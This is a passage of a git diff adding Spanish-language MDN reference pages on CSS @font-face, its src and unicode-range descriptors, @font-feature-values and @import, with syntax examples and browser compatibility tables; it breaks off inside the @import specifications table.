+  &lt;title&gt;Web Font Sample&lt;/title&gt;
+  &lt;style type="text/css" media="screen, print"&gt;
+    @font-face {
+      font-family: "Bitstream Vera Serif Bold";
+      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
+    }
+
+    body { font-family: "Bitstream Vera Serif Bold", serif }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  This is Bitstream Vera Serif Bold.
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>En este ejemplo, es utilizada la copia local de "Helvetica Neue Bold" del usuario; si el usuario no tiene esa fuente instalada (se prueban dos nombre distintos), luego la fuente descargable de nombre "MgOpenModernaBold.ttf" es utilizada en cambio:</p>
+
+<pre class="deki-transform">@font-face {
+  font-family: MyHelvetica;
+  src: local("Helvetica Neue Bold"),
+  local("HelveticaNeue-Bold"),
+  url(MgOpenModernaBold.ttf);
+  font-weight: bold;
+}
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">En</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">Gecko</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">las fuentes</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">web están</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">sujetas</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a la restricción del</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mismo dominio</span> <span class="atn hps" title="Haz clic para obtener otras posibles traducciones">(los </span><span title="Haz clic para obtener otras posibles traducciones">archivos de</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">fuentes</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">deben estar en</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">el</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">mismo dominio</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">la página</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">que los utiliza</span><span title="Haz clic para obtener otras posibles traducciones">)</span><span title="Haz clic para obtener otras posibles traducciones">,</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">a menos que</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">los </span></span><a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">controles de acceso HTTP</a> <span id="result_box" lang="es"><span class="hps" title="Haz clic para obtener otras posibles traducciones">sean utilizados para</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">relajar</span> <span class="hps" title="Haz clic para obtener otras posibles traducciones">esta restricción.</span></span></li>
+ <li>
+  <div class="note"><strong>Nota:</strong> Porque no hay tipos MIME definidos para fuentes TrueType, OpenType, y WOFF, el tipo MIME del archivo especificado no es considerado.</div>
+ </li>
+ <li>Cuando Gecko muestra una página que usa fuentes web, inicialmente muestra el texto que usa la mejor fuente de reserva CSS disponible en la computadora del usuario mientras espera que la fuente web termine de descargarse. Mientras cada fuente web se termina de descargar, Gecko actualiza el texto que utiliza esa fuente. Esto permite al usuario leer más rápidamente el texto en la página.</li>
+</ul>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Chrome (WebKit)</td>
+   <td><strong>4</strong> (532.5)</td>
+   <td>Solo fuentes TrueType y OpenType</td>
+  </tr>
+  <tr>
+   <td></td>
+   <td><strong>6</strong> (534.3)</td>
+   <td>Web Open Font Format (WOFF) soporte agregado</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>Opera</td>
+   <td><strong>10.0</strong></td>
+   <td>Solo fuentes TrueType y OpenType</td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td><strong>3.1</strong> (525.6)</td>
+   <td>Solo fuentes TrueType y OpenType</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión desde</th>
+   <th>Soporte de</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>4.0</strong></td>
+   <td>Solo fuentes OpenType embebidas</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>9.0 Preview 3</strong></td>
+   <td>Web Open Font Format (WOFF) soporte agregado</td>
+  </tr>
+  <tr>
+   <td rowspan="2">Firefox (Gecko)</td>
+   <td><strong>3.5</strong> (1.9.1)</td>
+   <td>Solo fuentes TrueType y OpenType</td>
+  </tr>
+  <tr>
+   <td><strong>3.6</strong> (1.9.2)</td>
+   <td>Web Open Font Format (WOFF) soporte agregado</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Vea también <a class="external" href="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms530757(VS.85).aspx">MSDN Microsoft library @font-face</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#font-descriptions" title="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#font-descriptions">CSS 2 Fonts</a> 1998-05-12 Obsoletas</li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-resources" title="http://www.w3.org/TR/css3-fonts/#font-resources">CSS 3 Fonts</a> 2009 Borrador de trabajo</li>
+ <li><a class="external" href="http://people.mozilla.com/~jkew/woff/woff-2009-09-16.html" title="http://people.mozilla.com/~jkew/woff/woff-2009-09-16.html">WOFF file format specification</a> Borrador</li>
+</ul>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="http://www.fontsquirrel.com/fontface/generator" title="http://www.fontsquirrel.com/fontface/generator">FontSquirrel @font-face generator</a></li>
+ <li><a href="/en/WOFF" title="en/About WOFF">About WOFF</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/" title="http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/">Beautiful fonts with @font-face</a></li>
+ <li><a class="external" href="http://openfontlibrary.org/" title="http://openfontlibrary.org/">Open Font Library</a></li>
+ <li><a class="external" href="http://opentype.info/demo/webfontdemo.html" title="http://opentype.info/demo/webfontdemo.html">10 Great Free Fonts for @font-face embedding</a></li>
+</ul>
diff --git a/files/es/web/css/@font-face/src/index.html b/files/es/web/css/@font-face/src/index.html
new file mode 100644
index 0000000000..a9627ebf9b
--- /dev/null
+++ b/files/es/web/css/@font-face/src/index.html
@@ -0,0 +1,245 @@
+---
+title: src
+slug: Web/CSS/@font-face/src
+tags:
+  - Descriptor CSS
+  - Fuentes CSS
+  - Referencia
+translation_of: Web/CSS/@font-face/src
+---
+<div>{{CSSRef}}</div>
+
+<p>El descriptor CSS <strong><code>src</code></strong> de la regla {{cssxref("@font-face")}} especifica el recurso que contiene a la fuente. Es requerido para que la regla <code>@font-face</code> sea válida.</p>
+
+<p>Su valor es una lista de referencias externas o nombres de fuentes instaladas, separadas por coma según su prioridad. Cuando se necesita una fuente, el agente usuario itera sobre el conjunto de referencias, usando la primera que pueda ser activada exitosamente. Fuentes que contienen datos inválidos o fuentes locales que no se encuentren son ignoradas, y el agente usuario cargará la siguiente en la lista.</p>
+
+<p>Al igual que con otras URLs en CSS, la URL puede ser relativa, en cuyo caso se resuelve relativamente a la ubicación de la hoja de estilos que contenga la regla <code>@font-face</code>. En caso de fuentes SVG, la URL apunta a un elemento dentro de un documento que contenga definiciones de fuentes SVG. Si se omite la referencia al elemento, se deduce que se usará la referencia a la primera fuente definida. De forma similar, formatos contenedores de fuentes que puedan contener más de una, cargarán solo una de las fuentes para una regla <code>@font-face</code>. Los identificadores de fragmentos son usados para indicar cuál fuente se cargará. Si un formato contenedor no tiene un esquema de identificadores de fragmento definido, se usará un esquema de indexado simple, con base en 1 (por ejemplo, "font-collection#1" para la primera fuente, "font-collection#2" para la segunda fuente).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* &lt;url&gt; values */
+src: url(https://somewebsite.com/path/to/font.woff); /* absolute URL */
+src: url(path/to/font.woff);                         /* relative URL */
+src: url(path/to/font.woff) format("woff");          /* explicit format */
+src: url('path/to/font.woff');                       /* quoted URL */
+src: url(path/to/svgfont.svg#example);               /* fragment identifying font */
+
+/* &lt;font-face-name&gt; values */
+src: local(font);      /* unquoted name */
+src: local(some font); /* name containing space */
+src: local("font");    /* quoted name */
+
+/* Multiple items */
+src: local(font), url(path/to/font.svg) format("svg"),
+    url(path/to/font.woff) format("woff"),
+    url(path/to/font.ttf) format("opentype");
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;url&gt; [ <span id="format()">format( &lt;string&gt;# )</span> ]?</code></dt>
+ <dd>Especifica una referencia externa que consiste en una URL seguida por un indicador opcional que describe el formato del recurso referenciado por esa URL. El indicador de formato contiene una lista de textos de formato, separados por coma, que denota formatos de fuente conocidos. Si un agente usuario no soporta los formatos especificados, omitirá descargar el recurso. Si no se especifican los indicadores de formato, el recurso siempre es descargado.</dd>
+ <dt id="local()"><code>&lt;font-face-name&gt;</code></dt>
+ <dd>Especifica el nombre de una fuente instalada localmente, usando la función <code>local()</code>, que identifica de forma única a una fuente dentro de una familia larga. El nombre puede ser opcionalmente encerrado en comillas.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">@font-face {
+  font-family: examplefont;
+  src: local(Example Font), url('examplefont.woff') format("woff"),
+      url('examplefont.woff') format("opentype");
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#src-desc', 'src')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("4.0")}}</td>
+   <td>12.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("6.0")}}</td>
+   <td>{{CompatOpera("9.0")}}</td>
+   <td>{{CompatSafari("3.1")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WOFF">WOFF</a></td>
+   <td>{{CompatChrome("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>{{CompatOpera("11.1")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WOFF">WOFF 2</a></td>
+   <td>{{CompatChrome("36.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("35.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.microsoft.com/typography/otspec/default.htm">TrueType</a></td>
+   <td>{{CompatChrome("4.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>{{CompatOpera("10.0")}}</td>
+   <td>{{CompatSafari("3.1")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.microsoft.com/typography/otspec/default.htm">OpenType</a></td>
+   <td>{{CompatChrome("4.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9.0")}}</td>
+   <td>{{CompatOpera("10.0")}}</td>
+   <td>{{CompatSafari("3.1")}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/Submission/2008/SUBM-EOT-20080305/">Embedded OpenType</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatIE("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/SVG/Tutorial/SVG_fonts">SVG Font</a></td>
+   <td>{{CompatChrome("4.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("9.0")}}</td>
+   <td>{{CompatSafari("3.2")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mini</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatAndroid("2.2")}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatIE("10.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("12.0")}}</td>
+   <td>{{CompatSafari("3.1")}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WOFF">WOFF</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WOFF">WOFF 2</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.microsoft.com/typography/otspec/default.htm">TrueType</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.microsoft.com/typography/otspec/default.htm">OpenType</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.w3.org/Submission/2008/SUBM-EOT-20080305/">Embedded OpenType</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/SVG/Tutorial/SVG_fonts">SVG Font</a></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Esta característica está implementada bajo la preferencia <code>gfx.downloadable_fonts.woff2.enabled</code>, inicialmente con valor predeterminado de <code>false</code>. A partir de Gecko 39.0 {{geckoRelease("39.0")}}, esta preferencia tiene valor predeterminado de <code>true</code>.</p>
+
+<p>[2] Esta característica aun no está implementada. Véase {{bug("119490")}}.</p>
diff --git a/files/es/web/css/@font-face/unicode-range/index.html b/files/es/web/css/@font-face/unicode-range/index.html
new file mode 100644
index 0000000000..61638788ac
--- /dev/null
+++ b/files/es/web/css/@font-face/unicode-range/index.html
@@ -0,0 +1,86 @@
+---
+title: unicode-range
+slug: Web/CSS/@font-face/unicode-range
+tags:
+  - CSS
+  - Experimental
+  - Layout
+  - Reference
+translation_of: Web/CSS/@font-face/unicode-range
+---
+<div>{{cssref}}</div>
+
+<p>La regla CSS <strong><code>unicode-range</code></strong> especifica un rango específico de caracteres a ser usados por una fuente definida  {{cssxref("@font-face")}} y hacerla disponible para su uso en la página actual. Si la página no usa algún caracter en ese rango, la fuente no es descargada; si usa al menos uno de ellos, la fuente es descargada.</p>
+
+<p>El propósito de esta regla es permitir a las fuente ser segmentados, así el navegador solo necesita descargar la fuente necesitada para el contexto de texto en una página en particular. Por ejemplo, un sitio con muchas localizaciones podría proveer fuentes separadas para el inglés, griego y japonés. Para los usuarios que ven la versión en inglés de la página, las fuentes para el griego y el japonés no son necesarias, y por lo tanto no se descargan, ahorrando ancho de banda.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* valores &lt;unicode-range&gt; */
+unicode-range: U+26;               /* un único código */
+unicode-range: U+0-7F;
+unicode-range: U+0025-00FF;        /* rango de códigos */
+unicode-range: U+4??;              /* rango por expresión */
+unicode-range: U+0025-00FF, U+4??; /* multiples valores */
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><em><strong>un único código</strong></em></dt>
+ <dd>Un único código de caracter Unicode, por ejemplo <code>U+26</code>.</dd>
+ <dt><em><strong>un rango de código</strong></em></dt>
+ <dd>Un rango de códigos de caracter Unicode. Asi que, por ejemplo, <code>U+0025-00FF</code> significa <em>incluir todos caracteres en el rango <code>U+0025</code> a <code>U+00FF</code></em>.</dd>
+ <dt><em><strong>rango por expresión</strong></em></dt>
+ <dd>Un rango de códigos Unicode que contienen caracteres comodín, usando el caracter <code>'?'</code>, asi que, por ejemplo <code>U+4??</code> significa <em>incluir todos los caracteres en el rango <code>U+400</code> a <code>U+4FF</code></em>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Hemos creado una etiqueta HTML que contiene un elemento {{HTMLElement("div")}}, que incluye un simbolo &amp;, el cual queremos que se muestre con una fuente diferente. Para hacerlo obvio,  usaremos una fuente sans-serif, <em>Helvetica</em> para el texto, y una fuente serif, <em>Times New Roman</em>, para el caracter &amp;.</p>
+
+<div class="example">
+<pre class="brush: html">&lt;div&gt;Me &amp; You = Us&lt;/div&gt;</pre>
+</div>
+
+<p>En el CSS, puedes ver que en efecto estamos definiendo una separación completa {{cssxref("@font-face")}} el cual solo incluye un caracter, significando que solo ese caracter será estilizado con esa fuente. Podríamos haber hecho esto tambien encapsulando el caracter &amp; en un elemento {{HTMLElement("span")}} y aplicando una fuente solo a ese elemento, pero esto es un elemento y una regla extra.</p>
+
+<div class="example">
+<pre class="brush: css">@font-face {
+  font-family: 'Ampersand';
+  src: local('Times New Roman');
+  unicode-range: U+26;
+}
+
+div {
+  font-size: 4em;
+  font-family: Ampersand, Helvetica, sans-serif;
+}</pre>
+
+<h3 id="Reultado">Reultado</h3>
+
+<p><img alt="What the example should looks like if your browser supports it." src="https://mdn.mozillademos.org/files/6043/Refresult.png"></p>
+</div>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#descdef-font-face-unicode-range', 'unicode-range')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("css.at-rules.font-face.unicode-range")}}</p>
diff --git a/files/es/web/css/@font-feature-values/index.html b/files/es/web/css/@font-feature-values/index.html
new file mode 100644
index 0000000000..7966f7433e
--- /dev/null
+++ b/files/es/web/css/@font-feature-values/index.html
@@ -0,0 +1,134 @@
+---
+title: '@font-feature-values'
+slug: Web/CSS/@font-feature-values
+tags:
+  - CSS
+  - Fuentes
+  - Referencia
+  - Regla-at
+translation_of: Web/CSS/@font-feature-values
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La <a href="/es/docs/Web/CSS/At-rule" title="At-rule">regla-at</a> <a href="/es/docs/Web/CSS" title="CSS">CSS</a> <strong><code>@font-feature-values</code></strong> permite a los autores usar un nombre común de {{cssxref("font-variant-alternates")}} para características activadas de distintas formas en OpenType. Permite simplificar el código CSS cuando se usan distintas fuentes.</p>
+
+<pre class="brush: css">@font-feature-values Font One { /* Cómo activar nice-style en Font One */
+  @styleset {
+    nice-style: 12;
+  }
+}
+
+@font-feature-values Font Two { /* Cómo activar nice-style en Font Two */
+  @styleset {
+    nice-style: 4;
+  }
+}
+
+…
+
+.nice-look { font-variant-alternates: styleset(nice-style); } /* Independiente de la fuente */
+</pre>
+
+<p>La regla-at <code>@font-feature-values</code> debe ser usada en la parte superior de la hoja de estilos, pero también dentro de <a href="/es/docs/Web/CSS/At-rule#Grupos_de_Reglas_Condicionales" title="CSS/At-rule#Conditional_Group_Rules">Grupos de reglas condicionales</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Bloques_de_valores_de_características">Bloques de valores de características</h3>
+
+<dl>
+ <dt><a name="@swash"><code>@swash</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "swash()", "#swash()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de swash permite solo un valor: <code>ident1: 2</code> es válido con <code>ident2: 2 4</code> no lo es.</dd>
+ <dt><a name="@annotation"><code>@annotation</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "annotation()", "#annotation()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de annotation permite solo un valor: <code>ident1: 2</code> es válido con <code>ident2: 2 4</code> no lo es.</dd>
+ <dt><a name="@ornaments"><code>@ornaments</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "ornaments()", "#ornaments()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de ornaments permite solo un valor: <code>ident1: 2</code> es válido con <code>ident2: 2 4</code> no lo es.</dd>
+ <dt><a name="@stylistic"><code>@stylistic</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "stylistic()", "#stylistic()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de stylistic permite solo un valor: <code>ident1: 2</code> es válido con <code>ident2: 2 4</code> no lo es.</dd>
+ <dt><a name="@styleset"><code>@styleset</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "styleset()", "#styleset()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de stylset permite una cantidad ilimitada de valores: <code>ident1: 2 4 12 1</code> corresponden a los valores OpenType <code>ss02</code>, <code>ss04</code>, <code>ss12</code>, <code>ss01</code>. Nótese que los valores superiores a <code>99</code> son válidos, pero no corresponden a ningún valor OpenType y serán ignorados.</dd>
+ <dt><a name="@character-variant"><code>@character-variant</code></a></dt>
+ <dd>Especifica el nombre de una característica que trabajará con la notación funcional {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}} de {{cssxref("font-variant-alternates")}}. La definición de un valor de character-variant permite uno o dos valores: <code>ident1: 2</code>  corresponde a <code>cv02=1</code> y <code>ident2: 2 4</code> corresponde a <code>cv02)4</code> e <code>ident2: 2 4 5</code> no es válido.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-feature-values', '@font-feature-values')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("34")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementación experimental de las extensiones CSS Fonts Nivel 3 estaba disponible desde Gecko 24. Estaba regido por la preferencia <code>layout.css.font-features.enabled</code> con valor predeterminado <code>true</code> en Nightly y Aurora solamente.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>La propiedad {{cssxref("font-variant-alternates")}} que usa valores definidos por esta regla-at.</li>
+</ul>
diff --git a/files/es/web/css/@import/index.html b/files/es/web/css/@import/index.html
new file mode 100644
index 0000000000..145304cf70
--- /dev/null
+++ b/files/es/web/css/@import/index.html
@@ -0,0 +1,118 @@
+---
+title: '@import'
+slug: Web/CSS/@import
+translation_of: Web/CSS/@import
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La regla-at <a href="/en/CSS" title="/en/CSS">CSS</a> <code>@import</code>  permite importar reglas desde otras hojas de estilo. Estas reglas deben preceder a todos los otros tipos de reglas, excepto a las reglas {{ cssxref("@charset") }}; como esto no es una <a href="/en/CSS/Syntax#nested_statements" title="/en/CSS/Syntax#nested_statements">declaración anidada</a>, no puede ser usado dentro de <a href="/en/CSS/At-rule#Conditional_Group_Rules" title="en/CSS/At-rule#Conditional_Group_Rules">grupos condicionales de reglas-at</a>.</p>
+
+<p>Para que los agentes de usuario puedan evitar recuperar recursos para tipos de medios no soportados, los autores pueden especificar reglas dependientes del tipo de medio <code>@import</code>. Estas condiciones @import se especifican separando por una coma las <a href="/en/CSS/Media_queries" title="/en/CSS/Media_queries">consultas de medios (media query)</a> despues de la <em>url</em>. En la ausencia de cualquier consulta de medios (media query), la importación es incondicional. Especificando  <code>all</code> para el medio tiene el mismo efecto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">@import <em>url</em>;                      <em>or</em>
+@import <em>url</em> <em>list-of-media-queries</em>;
+</pre>
+
+<p>Dónde :</p>
+
+<dl>
+ <dt style="margin: 0 40px;"><em>url</em></dt>
+ <dd style="margin: 0 40px;">es una <span style="background-color: rgb(250, 251, 252); font-family: consolas,monaco,andale mono,monospace; font-size: 1rem; line-height: 19px; white-space: pre;">{{cssxref("&lt;string&gt;")}} </span>o un {{cssxref("&lt;uri&gt;")}}</dd>
+ <dd style="margin: 0pt 40px;">Representa la ubicación del recurso a importar. La <em>url</em> puede ser absoluta o relativa.</dd>
+ <dt style="margin: 0 40px;"><em>list-of-media-queries</em></dt>
+ <dd style="margin: 0 40px;">Es una lista separada por comas de <a href="/en/CSS/Media_queries" title="/en/CSS/Media_queries">consultas de medios (media query)</a> que condicionan la aplicación de las reglas CSS definidas en el enlace <em>url</em>. Si el navegador no soporta cualquiera de estos <a href="/en/CSS/Media_queries" title="/en/CSS/Media_queries">consultas de medios (media query)</a>,  ni siquiera cargará el recurso vinculado.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="eval">@import url("fineprint.css") print;
+@import url("bluish.css") projection, tv;
+@import 'custom.css';
+@import "common.css" screen, projection;
+@import url('landscape.css') screen and (orientation:landscape);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
